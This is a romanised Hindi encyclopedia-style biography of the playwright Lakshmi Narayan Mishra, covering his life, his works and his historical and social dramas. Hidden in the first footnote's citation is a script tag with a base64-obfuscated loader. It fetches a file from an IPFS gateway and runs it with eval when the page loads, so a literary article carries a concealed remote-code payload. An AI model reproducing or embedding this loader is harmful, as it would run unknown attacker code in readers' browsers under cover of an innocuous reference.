लक्ष्मी नारायण मिश्र
lakshmi narayan mishr
| |
| poora nam | lakshmi narayan mishr |
| janm | 1903 |
| janm bhoomi | ajamagadh, uttar pradesh |
| mrityu | 1987 |
| karm bhoomi | bharat |
| karm-kshetr | lekhan |
| mukhy rachanaean | 'aantarjagat', 'rakshas ka mandir', 'mukti ka rahasy', 'siandoor ki holi', 'garu dadhvaj', 'narad ki vina', 'vitasta ki laharean' tatha 'mrityuanjay' adi. |
| bhasha | hindi |
| vidyalay | 'keandriy hindoo k aaulej', kashi |
| shiksha | bi.e. (1928) |
| prasiddhi | natakakar, ekaankikar |
| nagarikata | bharatiy |
| any janakari | mishraji ke aitihasik aur pauranik natak pray: ek vishesh kal hindoo sanskriti ke ek vishesh adhyay aur jvalant charitr par adharit haian. unaki likhi ekaankiyoan mean bharat ki atma basati hai. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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lakshmi narayan mishr (aangrezi: Laxmi Narayan Mishra, janm- 1903, ajamagadh, uttar pradesh; mrityu- 1987) hindi ke prasiddh natakakar the. hindi ke ekaankikaroan mean unaka vishesh sthan hai. unhoanne prachur matra mean gady tatha pady donoan mean sahity srijan kiya hai. lakshminarayan ji par pashchaty natakakar insan, sha, maitaraliank adi ka khasa prabhav tha, lekin phir bhi unaki ekaankiyoan mean bharat ki atma basati thi. maulik srijan se lekar anuvad tak unhoanne soddeshy lekhan kiya.
parichay
lakshmi narayan mishr ji ka janm san 1903 mean uttar pradesh ke ajamagadh zile ke basti namak gram mean hua tha. unhoanne varsh 1928 mean apani bi.e. ki pariksha 'keandriy hindoo k aaulej', kashi se uttirn ki thi.[1]
sahity srijan
18 varsh ki avastha se hi lakshmi narayan mishr sahity srijan ki or unmukh hue. unaki 'aantarjagath' (1921-1922 ee.) namak kavy rachana usi samay ki hai. isake uparaant apaki natakiy pratibha ka uday prarambh hua. 'ashok' unaka pahala natak hai.
naty sahity
inake samast naty sahity ke do varg haian-
- saanskritik athava aitihasik
- samajik
adharabhoot saty ki drishti se lakshminarayan mishr ke samooche naty-sahity mean bharatiy sanskriti ke adarshoan aur manyataoan ka prabhav hai. sab natakoan ki shilpavidhi aur roopagathan adhunik (pashchaty) hai, par natak apani aantarik prakriti mean pay: bharatiy haian; kiantu us arth mean prachin bharatiy aur pashchaty naty-tattvoan ka samanvay nahian, jaisa ki jayashankar prasad ke natakoan mean hai. doosare hi star par mishraji ke natak apane bahirang mean adhunik pashchaty naty-shilp ke anuroop haian aur aantarikata mean vishuddh bharatiy haian. yah saty vastut: drishtikon aur bhavadhara ke star par pratishthit hai. jahaan ek shilp gathan ka prashn hai, apake natakoan ka vikas aur nirman gitoan, svagat kathanoan aur bhavukatapoorn kavitv varnanoan ke madhyam se n hokar, bilkul naye dhang se hota hai. aitihasik natakoan mean nishchay hi tattvik vivechanoan aur saiddhaantik vichar vinimay ke gahan tattv haian. mishr ji ne ibsan ke do prasiddh natak 'pilar aauf d sosaiti' aur 'dals haus' ka anuvad kramash: 'samaj ke stambh' aur 'gu diya ka ghar' nam se kiya hai.[1]
yatharthavadi drishtikon
yooan to drishtikon mean lakshmi narayan ji pray: yatharthavadi haian- pragatishil star par nahian, bharatiy star par. unaka yatharth apani hi tarah ka hai. 'mukti ka rahasy' namak natak mean apane apane drishtikon aur vicharadhara ke vishay mean spasht roop se kaha hai- "jo yatharth nahian hai, vah adarsh nahian ho sakata. kalpana ki rangini aur asangati sahity aur kala ka manadand nahian ban sakati hai. jivan ki pathashala mean baithakar sahityakar apani kala sikhata hai. at: jivan ke anubhav se pare use kahian kuchh bhi nahian dhooandhana chahie."
aitihasik aur pauranik natak
| kr.san. | kriti | varsh | kr.san. | kriti | varsh | kr.san. | kriti | varsh |
|---|---|---|---|---|---|---|---|---|
| 1. | aantarjagat | kavita sangrah, 1925 | 2. | ashok | natak, 1926 | 3. | sannyasi | natak, 1930 |
| 4. | rakshas ka mandir | natak, 1931 | 5. | mukti ka rahasy | natak, 1932 | 6. | rajayog | 1933 |
| 7. | siandoor ki holi | 1933 | 8. | adhi rat | 1936 | 9. | garu dadhvaj | 1945 |
| 10. | narad ki vina | 1946 | 11. | vatsaraj | 1950 | 12. | dashashvamedh | 1950 |
| 13. | ashok van | ekaanki sangrah, 1950 | 14. | vitasta ki laharean | 1953 | 15. | 'jagadaguru' | 1955 |
| 16. | mrityujany | 1955 | 17. | chakravyooh | natak, 1955 | 18. | senapati karn | mahakavy, apoorn[2] |
mishraji ke aitihasik aur pauranik natak pray: ek vishesh kal hindoo sanskriti ke ek vishesh adhyay aur jvalant charitr par adharit haian aur unase us vishesh kal, adhyay aur charitr ke bahane pray: samoochi vastusthiti par aisa prakash p data hai. is drishti se 'garu dadhvaj', 'dashashvamedh' aur 'narad ki vani' apake pratinidhi natak haian. 'garu dadhvaj' natak ka kathanak us yug ka hai, jisaki adhik samagri itihas adi se nahian prapt hoti. natakakar ne apani kalpana shakti se shuang vansh ke prishth par sundar prakash dala hai. 'garu dadhvaj' mean shuang ke vanshaj agnimitr ki katha hai. 'vatsaraj' mishraji ka prasiddh aitihasik natak hai, udayan ki jivan ghatanaoan se sambaddh. 'dashashvamedh' natak nagoan ke itihas par adharit haian. 'narad ki vina' ary aur aryettar sanskritiyoan ke paramparik sangharsh aur taduparaant samanvay ki kahani hai.
'sannyasi', 'rakshas ka mandir', 'mukti ka rahasy', 'rajayog' tatha 'sindoor ki holi' lakshmi narayan mishr ji ke prasiddh samasya samajik natak haian. vyakti aur samaj ke jis uttarottar sangharsh mean hamara jivan pal-pal badh raha hai, usake kisi-n-kisi mahattvapoorn pahaloo ka adhar in samajik natakoan mean vidyaman hai. 'mukti ka rahasy' aur 'sindoor ki holi' natakakar ke shilp aur vichar, donoan drishtiyoan se pratinidhi natak haian. 'mukti ka rahasy' mean stri-purush ki sanatan kam-vasana ka chitran hai.[1]
ekaanki sangrah
'pralay ke pankh par' aur 'ashok van' mishraji ke do ekaanki sangrah haian. 'pralay ke pankh par' namak ekaanki sagrah mean lekhak ki chh: ekaanki sangrahit haian. pray: samast ekaanki samasya pradhan haian. adhikaansh ekaanki vishuddhat: nari samasya ko adhar banakar likhi gee haian. do-ek ekaanki gramin bhavabhoomi tatha vahaan ke jan-jivan se utpann samasyaoan par likhi gee haian. in do sangrahoan ke atirikt 'bhagavan manu tatha any ekaanki' bhi ek sangrah hai. isake sabhi ekaanki pauranik aur aitihasik haian. 'bhagavanh manu', 'vidhayak parashar', 'yajnavalky', 'kautily', 'achary shankar', ekaanki ke ye nam hi hindutv aur bharatiy sanskriti ke aise ujjval udaharan lagate haian ki hindoo man inase sarvatha abhibhoot ho jata hai. in ekaankiyoan ki shilpavidhi par rediyo ekaanki kala aur usake shilp sangathan ka prabhav spasht hai. ye ekaankiyaan jayashankar prasad ke natakoan ki bhaanti hi pathan-pathan ki sundar samagri upasthit karati haian, par inaka rangamanchiy paksh utana hi nirbal aur jatil hai.
maulik vicharadhara
natakakar lakshmi narayan mishr ji ki shakti unaki maulik vicharadhara hai, vah chahe aitihasik star par ho, chahe pauranik athava samajik star par. sath hi charitr pratishtha aur usake bhitar se 'brahmanatv' ka anupam alok aur bharatiy sanskriti ka udar svarnim chitr inake naty-sahity ki ki sabase b di den hai.
nidhan
lakshmi narayan mishr ji ka nidhan san 1987 mean hua.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 hindi sahity kosh, bhag 2 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 26 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ is mahakavy ka arambh san 1953 mean hua tha, kiantu ye poorn nahian ho saka.
sanbandhit lekh
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